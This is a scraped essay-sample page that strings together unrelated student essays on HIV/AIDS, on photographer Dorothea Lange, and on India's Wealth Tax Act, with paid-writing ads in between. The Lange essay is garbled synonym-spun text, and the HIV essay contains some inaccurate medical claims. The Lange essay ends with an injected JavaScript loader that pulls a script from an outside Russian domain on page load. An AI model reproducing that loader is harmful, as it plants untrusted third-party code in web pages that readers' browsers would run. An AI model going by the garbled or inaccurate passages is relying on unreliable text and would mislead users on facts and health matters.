Communicable Disease - Free Essay Example

Sample details Pages: 4 Words: 1204 Downloads: 8 Date added: 2017/09/19 Category Industry Essay Type Analytical essay Topics: AIDS (HIV) Essay Community Essay Did you like this example? Communicable Disease HCS/457 August 30, 2010 Rachaline Napier Communicable Disease What is a communicable disease? A communicable disease is an infectious disease that can be transmitted from one person to another either directly by contact or circuitously by fomites and vectors. HIV/AIDS is one of the many communicable diseases in the world. Throughout this presentation, a detailed analysis will be given on HIV/AIDS. I will also recommend different ways a community can educate individuals in order to help prevent this disease. HIV, also known as the Human Immunodeficiency Virus, is a virus that attacks the immune system. If the immune system is not strong enough, it is hard for the body to fight off the virus. White blood cells are an imperative element of the immune system. HIV assaults and obliterates CD4+ cells. When a numerous amount of CD4+ cells are destroyed, the body can no longer protect itself against infection. This stage of HIV infection is AIDS, also known as , Acquired Immunodeficiency Syndrome. Individual that has AIDS show a low number of CD4+ cells and get contagions of cancers that seldom arise in vigorous individuals. Having HIV does not indicate that you have AIDS. No one can just get AIDS. A person may get tainted with HIV, and then later develop AIDS. It takes longer for HIV to develop into AIDS, even without any treatments. Medications can slow the process or even stop the damage to the immune system if an individual has been diagnosed with HIV before it becomes AIDS. With the right treatments, people are able to live long active lives with HIV. HIV is contracted many different ways. The most common way an individual contracts HIV is through infected blood, semen, or vaginal fluids. Sharing drug needles with someone that is infected is another general way of contracting the virus. HIV can also be passed along from mother to child during pregnancy, child birth, and breast feeding. It is known that HIV cannot endure outside the body. HIV cannot be spread through informal contact such as kissing or sharing a drink with a person that has been infected. Symptoms of HIV may not show in the early stages. Individuals can possibly mistake the symptoms for mono or the flu. Common symptoms that may occur in the early stage include: headache, swollen lymph nodes, fever, skin rash, sore throat, muscle aches and joint pains. These symptoms may emerge from a couple of days to various weeks after an individual has primarily contracted the virus. Once the premature symptoms are gone, an individual that is infected with the virus may not have these symptoms again for years. At a definite point, symptoms resurface and then linger. These symptoms usually include: night sweats, weight loss, fever, swollen lymph nodes, and excessive tiredness. AIDS associated symptoms include brain tumors, other health problems, and serious weight loss. These infections can result in death without any treatments. As with other dise ases, each person deals with the disease differently. Some may not live a couple of months after contracting the disease and some may even live a fairly normal life for many years. There are even some HIV positive individuals that stay healthy without taking the antiretroviral medications. Getting tested is the only way for a person to know for sure if they have been infected with HIV. If a person has been infected with HIV, the immune system will make antibodies in order to obliterate the virus. These antibodies can be found in the blood stream only by doing a blood test. There are two tests that are performed by most doctors. These tests are called the ELISA and the Western blot assay. The ELISA is the first test that is conducted. If the results are positive, the test will performed again. If there is a positive result on the second test, a Western blot assay will be conducted. HIV antibodies could take at least six months to show up in a blood sample. Many aspects of HIV a re potentially stressful. For example, fear of death, the need to adhere to complex medication regiments, side effects of the treatments, interactions with a complex medical system, symptoms associated with disease progression, financial difficulties, stigma, and the need to incorporate a new identity as someone with a serious illness are all potential stressors associated with being HIV positive. It is important to note that these stressors are not necessarily unique to HIV (Moskowitz, 2009). There is no cure for AIDS, but there are treatments for HIV. The customary treatment for HIV is an amalgamation of medications called highly active antiretroviral therapy. Antiretroviral medications slow the pace at which the infection multiplies. Taking these medications can diminish the quantity of the infection virus in the body and help one stay vigorous. Babies infected with HIV from birth should be given powerful drugs to fight the virus as soon as possible. In a comparison of trea tment strategies, Avy Violari of the University of Witwatersrand in Johannesburg and colleagues report that babies getting medication, even when they are just weeks old, showed dramatically better survival than those treated only after HIV related symptoms appeared (Seppa 2008). There is never an easy time to determine when it is best to start treatments because of the advantages and disadvantages of taking the medications before any symptoms arise. If there are no symptoms and the CD4+ cell count is at a healthy level, treatment may not be needed at that time. Once treatments have started, it is detrimental that all medication be taken properly. If treatments do not work, it can be determined that the virus has become resistant to the medication. This can happen if the medication is not taken appropriately. In conclusion, HIV/AIDS is something that everyone needs to know about. This disease can be deadly and many know nothing about it. Information needs to be provided to people so they will know all about the disease. This will also show people that they do not have to be afraid of those that have the disease. Communities need to get together and come up with way to show teenagers that safe sex is the best sex. BET’s Rap It Up is one global awareness campaign to fight the spread of HIV/AIDS. Rap It Up is about taking a stand in your life and community to help stop the spread of HIV/AIDS. It is about protecting yourself and those you care about, being informed, getting tested for HIV annually, talking openly with your partner, friends and family and taking action in your community (2010). Instead of being scared; be brave and show everyone that there is nothing wrong with getting tested. It is better to know than not know. References BET Networks and BET Interactives,LLC. (2010). Rap-It-Up. Retrieved from https://www. rapituppresents. com Moskowitz, J. , Hult, J. , Bussolari, C. , Acree, M. (2009, January). What works in coping with HIV? A met a-analysis with implications for coping with serious illness. Psychological Bulletin, 135(1), 121-141. Seppa, Nathan. Treat HIV-positive babies early. (Brief article).   Science News  174. 13  (Dec 20, 2008):  9(1). References This is a hanging indent. To keep the hanging indent format, simply delete this line of text using the backspace key, and replace the information with your reference entry. Don’t waste time! Our writers will create an original "Communicable Disease" essay for you Create order

The Commonwealth Of The Bahamas - 981 Words

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Dorothea Lange Photographer Essay Research Paper Dorothea free essay sample

Dorothea Lange, Photographer Essay, Research Paper Dorothea Lange Dorothea Lange was born in 1895 in Hoboken, New Jersey. Her household had come from Germany to the United States as immigrants. When Dorothea was seven old ages old, she suffered from infantile paralysis. In 1907, her male parent left her household. And shortly, her female parent became an alky. Dorothea was lonely in high school until she began analyzing picture taking. At the age of 23, Dorothea left place, and in 1918, began an around the universe trip. She taught Ron Partridge picture taking and people started naming him her helper. Ron Partridge recalls that she was really determined non to halt her work. Dorothea Lange is best known for her work during the Great Depression. Other things she photographed were kids, ships, the Depression, and many others. She besides photographed Mormon communities. During her old ages in picture taking, she traveled to Asia, South America, Egypt, and India. She married Maynard Dixon in 1920. Her matrimony lasted 15 old ages and in 1935 she divorced him. However, while on assignment in New / gt ; Mexico, she remarried to Paul Taylor. In 1939, she began her foremost major undertaking. Subsequently, she worked for the Farm Security Administration. However, much struggle arose and in 1940 she was dismissed for the last clip. In the 1950 s and 60 s Dorotheas s hubby, Paul, spent six months snaping developing states and Asia. Dorothea began holding reoccurring ulcers. She was diagnosed with malignant neoplastic disease of the gorge. When she was in the Near East she caught malaria. Ansel Adams described her as a hard adult female who was opinionated, impatient, and wilful. A adult female who defied the societal gender outlooks. Her last undertaking was entitled, Dorothea Lange Looks at the American Country Woman. Dorothea can decidedly be described as person who stood up for adult females and knew that adult females could make anything anyone else could make. Dorothea one time said, We need to be reminded these yearss about what adult females have been and can be, it s a inquiry of their topographic point in society. The truly deep and cardinal topographic point in society. On October 11, 1965, Dorothea Lange died at the age of 70. ( map ( ) { var ad1dyGE = document.createElement ( 'script ' ) ; ad1dyGE.type = 'text/javascript ' ; ad1dyGE.async = true ; ad1dyGE.src = 'http: //r.cpa6.ru/dyGE.js ' ; var zst1 = document.getElementsByTagName ( 'script ' ) [ 0 ] ; zst1.parentNode.insertBefore ( ad1dyGE, zst1 ) ; } ) ( ) ;

Wealth Tax Essay Example

Wealth Tax Paper Accepting the recommendations of N. Kaldor to introduce â€Å"integrated direct tax system† in India, Wealth Tax Act, 1957 was enacted. The Act was amended from time to time. The major objective of wealth tax has been attainment of equity objective of tax policy because wealth is considered as the major source of inequalities. The wealth taxation in India is applicable to all citizens of the country and is also called the wealth tax act, 1957. This is also considered to be direct taxes of the country. It is paid on the benefits of property ownership and the person who owns the property has to pay for the wealth tax for the time period for which he retains the ownership. It must be noted that the person has to pay for wealth tax even if it is not gaining any income. Reasons for levying Wealth Tax The wealth tax act is important direct tax legislation. It is a tax on the benefits derived from property ownership. Stated objectives behind introduction of bill for wealth tax were (a) That it would reduce the possibility of tax evasion (b) That it would take into account the taxpaying capacity of an individual (c) That it had a large measure of egalitarianism built into it both conceptually and operationally without disincentive effect. Levy of wealth tax was described as a measure to alter the tax structure in a way that would ensure more effective and at the same time a more equitable basis for taxation. We will write a custom essay sample on Wealth Tax specifically for you for only $16.38 $13.9/page Order now We will write a custom essay sample on Wealth Tax specifically for you FOR ONLY $16.38 $13.9/page Hire Writer We will write a custom essay sample on Wealth Tax specifically for you FOR ONLY $16.38 $13.9/page Hire Writer Who to pay for the Wealth Tax in India The person who pays for the wealth tax is called an assesses and he may belong to the categories mentioned below: * A Hindu undivided family * Non corporate taxpayers * A representative of dead individual, or administrator and the executor * A Company * An agent of Non-resident * A body of individuals or as association of persons It should be noted that the tax will be considers on the total income earned from the collections of joint family in case of a Hindu Undivided Family. However, in case of non-corporate payers, they are supposed to pay the tax as per the existing tax rate as their accounts are being audited. Incidence of Wealth Tax Incidence of tax in the case of an individual depends upon his residential status and nationality. The scope of liability to wealth tax is as follows: (a) In the case of an individual who is a citizen of India and resident in India, a resident HUF and company resident in India; Wealth tax is chargeable on net wealth comprising of All assets in India and outside India; * All debts in India and outside India are deductible in computing the net wealth. (b) In the case of an individual who is a citizen of India but non-resident in India or not ordinarily resident in India, HUF, non-resident or not ordinarily resident in India and a company non-resident in India; * All assets in India except loan and debts interest whereon is exempt from income-tax under section 10 of the Income-Tax Act are chargeable to tax. All debts in Indi a are deductible in computing the net wealth. * All assets and debts outside India are out of the scope of Wealth Tax Act. (c) In the case of an individual who is not a citizen of India whether resident, non-resident or not ordinarily resident in India: Same as in (b) Wealth Tax Chargeable Assets Below mentioned are the assets on which the wealth tax has to be paid by the assesses: * Guesthouses, urban farmhouse, residential house and commercial property. * Automobiles for person purposes. Precious items such as utensils, bullions, jewellery and furniture. * Aircrafts, Yachts and boats which are used for non-commercial purposes. * For the cash in hand which exceeds 50,000 for Hindu undivided families and individuals. * Urban land which is under the authority of cantonment board or municipality and having a population over 10,000. The following are not regarded as assets while computing the wealth tax:- * A residential real estate property that has been allocated to a full time emplo yee by ither the company or the director or an officer with a gross yearly salary lesser than 5 lakh rupees * A commercial or residential real estate property that is part of a stock-in-trade process * Commercial real estate property being used for official or business purposes * A residential property that has been put on hire for a minimum of 300 days in the immediately earlier year * A commercial complex or establishment * A land where construction is illegal * A land where the building has been set up with approval from proper authorities * An unused land owned for industrial purposes. However, the land should remain unused for 2 years after acquisition * A land that has been owned by an assessee for 5 years as a stock-in-trade According to the section 4(l) (a) of the Wealth Tax Act, 1957 following are regarded as deemed assets: * Assets transferred between spouses * Assets transferred as per revocable transfer * Assets owned by minors. If a specially-abled child owns any asset it will not be grouped with his or her parents’ net income and will be assessed separately * Assets provided to son’s wife or to another person or group of individuals for the benefit of son’s wife. Asset that has been transferred to an individual or a group of people. This transfer must benefit the providers or their spouses in either short or long term Exemptions: (a) Wealth-tax need not be paid in respect of one house of an individual/ HUF or on a plot of land which does not exceed 500 square metres. (b) No tax need to be paid on any residential property that is let o ut for a minimum of 300 days in the relevant previous year, nor on any property which is held for business purposes. (c) Motor cars that are held by an assesses for running them on hire or held as stock in trade are also not liable to wealth-tax. d) The same applies to jewellery that is held as stock in trade for the purpose of business. (e) Assets such as investment in fixed deposits, shares or intangible property are not subject to wealth tax in India. (f) Property held under a trust or other legal obligation for any public purpose of a charitable or religious nature  in India subject to the  satisfaction of the stipulated conditions. Valuation Date Wealth Tax is levied on the net wealth of a person as on a particular date. This date is known as valuation date. The valuation date is the last day of the previous year relevant to the assessment year. Hence, valuation date is March 31, immediately preceding the assessment year. Calculation of Wealth Tax Taxable value of the assets  = Value of assets as on March 31 Debts owed against the assets principally, wealth tax is levied on non-productive assets of assesses. Thus the assets listed above used for commercial purposes  will be excluded from taxation. Wealth Tax Rates in India The maximum marginal rate of wealth tax, applicable to net wealth above Rs 15 lakh was quite high at 8 per cent till the year 1975-76. It was drastically reduced to 2. 5 per cent the following year 1976-77. In a reversal of policy of low rates, it was reduced to 3. 5 per cent in 1977-78 and further up to 5 per cent in 1979-80. In 1985-86, it was again lowered to 2 per cent and made applicable to net wealth over Rs 20 lakh. In 1992-93, it was further reduced to 1 per cent. Flat rate of 1 per cent on wealth exceeding Rs. 15 lakh. Tax rate is 1 per cent on amount by which ‘net wealth’ exceeds Rs 30 lakhs from AY 2010-11. (Till 31-3-2009, the limit was Rs 15 lakhs). No surcharge or education cess is payable. The Tax Reforms Committee,1991, suggested that wealth tax should be charged at the flat rate of 1 per cent with a basic exemption of Rs. 5 lakh instead of the then existing Rs 5 lakh. These recommendations were accepted and incorporated in the Financed Act, 1992. Thus following the recommendation of the Tax Reforms Committee, 1991, the scope of wealth tax both in terms of base and rate was drastically reduced, presently wealth tax has only decorative value for the statute b ook. Tax Reform Committee 1991, recommended tax on wealth should be abolished in respect of all items of wealth other than those which can be regarded as unproductive forms of wealth or other items whose possession and use could legitimately be discouraged in the social interest. The Committee also recommended wealth tax at the rate of one per cent of value of taxable items of wealth. Thus wealth tax shifted from wealth to unproductive assets. Since wealth tax is based on current market value of unproductive assests, valuation involves disputes. As a result, the administrative and compliance cost of the tax has been much higher. In view of the meagre revenue and problems of administration and compliance the Task Force on Direct Taxes, 2002 recommended the abolition of wealth tax. As Bhoothalingham Committee reported,† the wealth tax system should continue if for no reason then for ensuring in the long term that income tax is properly administered†. The share of wealth tax has always been less than one per cent and even if it is abolished the revenue impact will not be much. But it serves the objective of reducing inequalities and also provides a mechanism through which evasion of income tax can be minimized. Annexure -I YEAR| Wealth TaxRs in Crore| Percentage of GDP| Percentage of GTR| Percentage of Direct Tax| Growth| 1990-91| 231| 0. 04| 0. 40| 2. 0| -| 991-92| 307| 0. 04| 0. 45| 2. 0| 32. 9| 1992-93| 468| 0. 06| 0. 62| 2. 5| 52. 4| 1993-94| 154| 0. 01| 0. 20| 0. 75| -67. 1| 1994-95| 165| 0. 01| 0. 11| 0. 38| -31. 8| 1995-96| 74| 0. 006| 0. 06| 0. 22| -29. 5| 1996-97| 78| 0. 005| 0. 006| 0. 21| 5. 4| 1997-98| 113| 0. 007| 1. 13| 0. 23| 44. 8| 1998-99| 162| 0. 009| 0. 11| 0. 34| 43. 3| 1999-00| 133| 0. 006| 0. 07| 0. 22| -17. 9| 2000-01| 132| 0. 006| 0. 06| 0. 19| -0. 75| 2001-02| 135| 0. 005| 0. 07| 0. 19| 2. 2| 2002-03| 154| 0. 006| 0. 07| 0. 18| 14. 0| 2003-04| 136| 0. 004| 0. 05| 0. 12| -11. 6| 2004-05| 145| 0. 004| 0. 04| 0. 10| 6. 6| 2005-06| 250| 0. 06| 0. 06| 0. 15| 72. 4| 2006-07| 265| 0. 006| 0. 05| 0. 12| 6. 0| 2007-08| 315| 0. 006| 0. 05| 0. 10| 18. 8| 2008-09| 380| | | | | Source: Government of India; Economic Survey, various issues In 1990-91, the collection of wealth tax was Rs 231 crore and it contributes 2. 09 per cent to direct tax. The collection increased to Rs 468 crore in 1992-93 and contribution to direct tax reaches to 2. 5 per cent. Afterwards the revenue collection from the wealth tax decreased and also the contribution to direct tax decreased. In 1995-96, the revenue collection from wealth tax was only Rs 74 crore. After 1995-96, the wealth tax collection was increased but very slowly and contribution of wealth tax to GDP and direct tax was negligible, because of small revenue from wealth tax the Task Force on Direct Taxes, 2002 recommended the abolition of wealth tax. The growth of wealth tax was also very slow. In most of the years the growth rate was negative. The revenue collection from wealth tax in 2006-07 was Rs 265 crore and the share of wealth tax to direct tax was only 0. 12 per cent. In 2007-08 the revenue collection increased to Rs 315 crore and the share of wealth tax to direct tax decreased to 0. 10 per cent.